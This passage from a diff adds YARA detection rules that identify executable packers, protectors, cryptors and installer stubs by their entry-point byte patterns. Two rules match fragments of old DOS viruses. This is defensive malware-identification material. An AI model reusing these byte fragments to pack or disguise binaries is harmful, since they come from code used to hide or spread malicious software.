+	$a1 = { 60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule Enigmaprotector112VladimirSukhov
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB 04 ?? ?? ?? ?? B8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 44 1A }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule hyingsPEArmorV076hying
+	{
+	strings:
+			$a0 = { E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule JDPackV200JDPack
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv01xv02xDwing
+	{
+	strings:
+			$a0 = { BE 88 01 ?? ?? AD 8B F8 95 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VcasmProtectorV1Xvcasm
+	{
+	strings:
+			$a0 = { EB ?? 5B 56 50 72 6F 74 65 63 74 5D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule kkrunchy023alpha2Ryd
+	{
+	strings:
+			$a0 = { BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF }
+	$a1 = { BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PolyEnEV001LennartHedlund
+	{
+	strings:
+			$a0 = { 50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Winkriptv10
+	{
+	strings:
+			$a0 = { 33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule TrainerCreationKitv5Trainer
+	{
+	strings:
+			$a0 = { 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EXEStealthv272
+	{
+	strings:
+			$a0 = { EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealthv273
+	{
+	strings:
+			$a0 = { EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 }
+
+	condition:
+			$a0
+	}
+	rule PseudoSigner02DEF10Anorganix
+	{
+	strings:
+			$a0 = { BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHpack01FEUERRADER
+	{
+	strings:
+			$a0 = { 60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealthv274
+	{
+	strings:
+			$a0 = { EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ThinstallEmbedded22X2308Jitit
+	{
+	strings:
+			$a0 = { B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PolyCryptorbySMTVersionv3v4
+	{
+	strings:
+			$a0 = { EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ProtectSharewareV11eCompservCMS
+	{
+	strings:
+			$a0 = { 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Upackv035alphaDwing
+	{
+	strings:
+			$a0 = { 8B F2 8B CA 03 4C 19 1C 03 54 1A 20 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ASPackv10801AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D }
+	$a1 = { 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D }
+	$a2 = { 60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule ENIGMAProtectorV11SukhovVladimir
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 ?? ?? 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEncrypt20junkcode
+	{
+	strings:
+			$a0 = { EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimbiOZExtranger
+	{
+	strings:
+			$a0 = { 50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InnoSetupModulev304betav306v307
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ASPackv107bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PROPACKv208emphasisonpackedsizelocked
+	{
+	strings:
+			$a0 = { 83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HACKSTOPv110p1
+	{
+	strings:
+			$a0 = { B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AdysGlue110
+	{
+	strings:
+			$a0 = { 2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxEddiebased1745
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASDPackv10asd
+	{
+	strings:
+			$a0 = { 55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ORiENV1XV2XFisunAV
+	{
+	strings:
+			$a0 = { 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule StonesPEEncryptorv113
+	{
+	strings:
+			$a0 = { 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv302v302aExtractable
+	{
+	strings:
+			$a0 = { B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ARMProtector03bySMoKE
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 }
+
+	condition:
+			$a0
+	}
+	
+	rule VxSlowload
+	{
+	strings:
+			$a0 = { 03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AntiDote10BetaSISTeam
+	{
+	strings:
+			$a0 = { E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DzAPatcherv13Loader
+	{
+	strings:
+			$a0 = { BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule CDSSS10beta1CyberDoom
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule y0dasCrypterv10
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule y0dasCrypterv11
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftPiMPInstallSystemv1x
+	{
+	strings:
+			$a0 = { 83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ExeBundlev30smallloader
+	{
+	strings:
+			$a0 = { 00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXAlternativestub
+	{
+	strings:
+			$a0 = { 01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule EmbedPE113cyclotron
+	{
+	strings:
+			$a0 = { 83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor2223protectedIAT
+	{
+	strings:
+			$a0 = { CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 94 ?? ?? ?? A4 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner01Armadillo300Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptorvxxxx
+	{
+	strings:
+			$a0 = { E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Morphinev33SilentSoftwareSilentShieldc2005
+	{
+	strings:
+			$a0 = { 28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 }
+	$a1 = { 28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule DEF10bartxt
+	{
+	strings:
+			$a0 = { BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv0971v0976
+	{
+	strings:
+			$a0 = { EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PCShrinkv040b
+	{
+	strings:
+			$a0 = { 9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakePECrypt102emadicius
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ORiENv211212FisunAlexander
+	{
+	strings:
+			$a0 = { E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule StonesPEEncruptorv113
+	{
+	strings:
+			$a0 = { 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv11MTEc
+	{
+	strings:
+			$a0 = { 90 60 E8 1B ?? ?? ?? E9 FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CreateInstallStubvxx
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WinZip32bitSFXv8xmodule
+	{
+	strings:
+			$a0 = { 53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upxv12MarcusLazlo
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEPACKv10byANAKiN1998
+	{
+	strings:
+			$a0 = { 74 ?? E9 ?? ?? ?? ?? 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule NeoLitev20
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4E 65 6F 4C 69 74 65 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
